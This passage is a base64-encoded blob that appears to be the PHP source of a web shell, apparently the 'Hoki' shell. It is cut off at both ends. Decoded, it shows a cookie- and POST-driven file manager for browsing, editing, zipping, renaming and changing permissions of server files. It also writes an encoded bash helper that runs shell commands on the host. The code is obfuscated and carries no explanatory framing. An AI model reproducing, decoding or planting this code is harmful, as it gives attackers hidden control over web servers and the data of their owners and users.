NleyR6aXAtPmFkZEZpbGUoJGtleSwka2V5KTt9fX19CkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwokemlwLT5jbG9zZSgpOwpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319Cn1lbHNlaWYoJF9DT09LSUVbJ2hva2lfYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9DT09LSUVbJ2hva2lfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CmZvcmVhY2goJF9DT09LSUVbJ2hva2lfZiddIGFzICRmKSB7CmlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2hva2lfYyddLiRmKSl7CiR6aXAtPmV4dHJhY3RUbygkX0NPT0tJRVsnaG9raV9jd2QnXSk7CiR6aXAtPmNsb3NlKCk7fX19fQp1bnNldCgkX0NPT0tJRVsnaG9raV9mJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkpewppZihpbl9hcnJheSgkX1BPU1RbJ2hva2kxJ10sIGFycmF5KCJjb3B5IiwgIm1vdmUiLCAiemlwIiwgInVuemlwIikpKXsKX19ob2tpX3NldF9jb29raWUoJ2hva2lfYWN0JywgQCRfUE9TVFsnaG9raTEnXSk7Cl9faG9raV9zZXRfY29va2llKCdob2tpX2YnLCBAc2VyaWFsaXplKCRfUE9TVFsnZiddKSk7Cl9faG9raV9zZXRfY29va2llKCdob2tpX2MnLCBAJF9QT1NUWydjJ10pOwpyZXR1cm47Cn0KfQpicmVhazsKfQp9CiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CmlmKHByZWdfbWF0Y2goIiMoLiopXC9cLlwuIyIsICRfUE9TVFsnYyddLCAkcmVzKSl7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsKCWFycmF5X3BvcCgkcGF0aCk7CgkkX1BPU1RbJ2MnXSA9IGltcGxvZGUoJy8nLCAkcGF0aCk7Cn0KJGNtZF9kaXIgPSBmYWxzZTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKXsKCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR0bXBfZ2V0ZGlyX3BhdGggPSBAJF9DT09LSUVbImhva2ljaGRpcl9iYXNoX3BhdGgiXTsKCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXhpc3RzKCR0bXBfZ2V0ZGlyX3BhdGguIi9ob2tpY2dpYXBpL2dldGRpci5ob2tpIikpewoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NNNWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3cvRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNUp2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsKCQkJJHRtcF9nZXRkaXJfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJnZXRkaXIuaG9raSIsJGJhc2gpOwoJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNoZGlyX2Jhc2giLCAidHJ1ZSIpOwoJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNoZGlyX2Jhc2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOwoJCX0KCQkkZGlyQ29udGVudCA9IGhva2lFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvaG9raWNnaWFwaTtzaCBnZXRkaXIuaG9raSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7CgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsKCQkJYXJyYXlfcG9wKCRkaXJDb250ZW50KTsKCQkJJGNtZF9kaXIgPSB0cnVlOwoJCX1lbHNlewoJCQkkZGlyQ29udGVudCA9IGZhbHNlOwoJCX0KCX0KfQpob2tpaGVhZCgpOwpIb2tpTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZigkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CglAJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdID0gMTAwOwp9CiRob2tpX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiaG9raV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImhva2lfc29ydF9ieSJdIDogJ25hbWUnOwokaG9raV9saW1pdGVkX2ZpbGVzID0gaXNzZXQoJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdKSA/IChpbnQpJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdIDogMDsKJGhva2lfZmlsZXNfcGFnZV9udW1iZXIgPSBpc3NldCgkX1BPU1RbInBhZ2VudW0iXSkgPyAoaW50KSRfUE9TVFsicGFnZW51bSJdIDogMTsKJGhva2lfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsKJGZpbGVzX3BhZ2VfY291bnQgPSAxOwppZigkaG9raV9saW1pdGVkX2ZpbGVzID4gMCl7CgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGhva2lfbGltaXRlZF9maWxlcyk7CglpZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewoJCSRmaWxlc19wYWdlX2NvdW50Kys7Cgl9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxlPSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnaG9raV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJuYW1lIiAnLigkaG9raV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkaG9raV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRob2tpX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdob2tpX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJhc2MiICcuKCRob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yOiMyNWZmMDA7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGhva2lfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2llKFwnaG9raV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwpob2tpRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJHNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImhva2lfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImhva2lfc29ydF9ieSJdKSl7Cgkkc29ydFswXSA9ICRfQ09PS0lFWyJob2tpX3NvcnRfYnkiXTsKfQppZighZW1wdHkoJF9QT1NUWydob2tpMSddKSkgewppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnaG9raTEnXSwgJG1hdGNoKSkKJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKfQppZigkaG9raV9maWxlc19wYWdlX251bWJlciA+ICgkZmlsZXNfcGFnZV9jb3VudC0xKSl7CgkkaG9raV9maWxlc19wYWdlX251bWJlciA9IDE7Cn0KJGNoZWNrYm94X3JhbmQgPSByYW5kKDExMTExLCA5OTk5OSk7CmVjaG8gIjxmb3JtIG9uc3VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVja0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKJG4gPSAkY291bnRfZGlyQ29udGVudDsKaWYoJG4gPiAkaG9raV9saW1pdGVkX2ZpbGVzICYmICRob2tpX2xpbWl0ZWRfZmlsZXMgPiAwKXsKCSRuID0gKCRob2tpX2xpbWl0ZWRfZmlsZXMgKiAkaG9raV9maWxlc19wYWdlX251bWJlcik7CglpZigkbiA+ICRjb3VudF9kaXJDb250ZW50KXsKCQkkbiA9ICRjb3VudF9kaXJDb250ZW50OwoJfQp9CiRpID0gMDsKaWYoJGhva2lfbGltaXRlZF9maWxlcyA+IDAgJiYgJGhva2lfZmlsZXNfcGFnZV9udW1iZXIgPiAxKXsKCSRpID0gJGhva2lfbGltaXRlZF9maWxlcyAqICgkaG9raV9maWxlc19wYWdlX251bWJlciAtIDEpOwp9CiRwYWdlX2J1aWxkZXIgPSBnZXRfcGFnaW5hdGlvbl9saW5rcygkaG9raV9maWxlc19wYWdlX251bWJlciwkZmlsZXNfcGFnZV9jb3VudCAtMSk7CiRjbWRfZGlyX2JhY2twID0gIiI7CmZvcig7JGk8JG47JGkrKyl7CmlmKCRjbWRfZGlyKXsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldWyJuYW1lIl07CiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOwokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgJGRpckNvbnRlbnRbJGldWyJtb2RpZnkiXSk7CiRmaWxlX3Blcm0gPSBob2tpUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVudFskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsKJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOwppZihzdWJzdHIoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0sIDAgLDEpID09ICIvIil7CiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gPSAiLi4iOwokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfWVsc2V7CiRmaWxlX3BhdGggPSAkR0xPQkFMU1snY3dkJ10uIi8iLiRkaXJDb250ZW50WyRpXVsibmFtZSJdOwp9Cn1lbHNlewokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGhva2lQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnID0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigkZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewoJJHRtcFsicGF0aCJdID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCByZWFscGF0aCgkZmlsZV9wYXRoKSk7Cn0KaWYoISRjbWRfZGlyKXsKaWYoQGlzX2ZpbGUoJGZpbGVfcGF0aCkpewokYXJyX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOwppZihAaXNfbGluaygkZmlsZV9wYXRoKSl7CiRhcnJfbXJnWyJsaW5rIl0gPSByZWFkbGluaygkdG1wWydwYXRoJ10pOwp9CiRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgJGFycl9tcmcpOwp9ZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7Cn1lbHNlaWYoQGlzX2RpcigkZmlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSl7CiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQp9ZWxzZXsKCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpewoJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJfWVsc2V7CgkJaWYoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gIT0gIi4iKXsKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJCX0KCX0KfQp9CiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKZnVuY3Rpb24gaG9raUNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImhva2lDbXAiKTsKdXNvcnQoJGRpcnMsICJob2tpQ21wIik7CmlmKGlzc2V0KCRfQ09PS0lFWyJob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSYmICFlbXB0eSgkX0NPT0tJRVsiaG9raV9maWxlc21hbl9kaXJlY3Rpb24iXSkpewoJaWYoJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsKCQkkZmlsZXMgPSBhcnJheV9yZXZlcnNlKCRmaWxlcyk7CgkJJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKCX0KfQokZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKJGw9MDsKJGNjPTA7CmZvcmVhY2goJGZpbGVzIGFzICRmKXsKJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7CiRuZXduYW1lID0gbWJfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsKJGNoZWNrYm94ID0gJ2NoZWNrYm94XycuJGNoZWNrYm94X3JhbmQuJGNjOwokcmF3X25hbWUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7CiRpY29uID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPyc8aW1nIHNyYz0iJy5maW5kaWNvbigkZlsnbmFtZSddLCRmWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzonJzsKJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOwplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyIgaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PGxhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4mcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3NldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxlPSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmhva2lTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZnknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLgokZlsncGVybXMnXS4nPC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nLiRjYy4nIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3JlbmFtZVwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlI8L2E+IDxhIGlkPSJpZF90b3VjaF8nLiRjYy4nIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGlkPSJpZF9lZGl0XycuJGNjLiciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2VkaXRcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5FPC9hPiA8YSBpZD0iaWRfZG93bmxvYWRfJy4kY2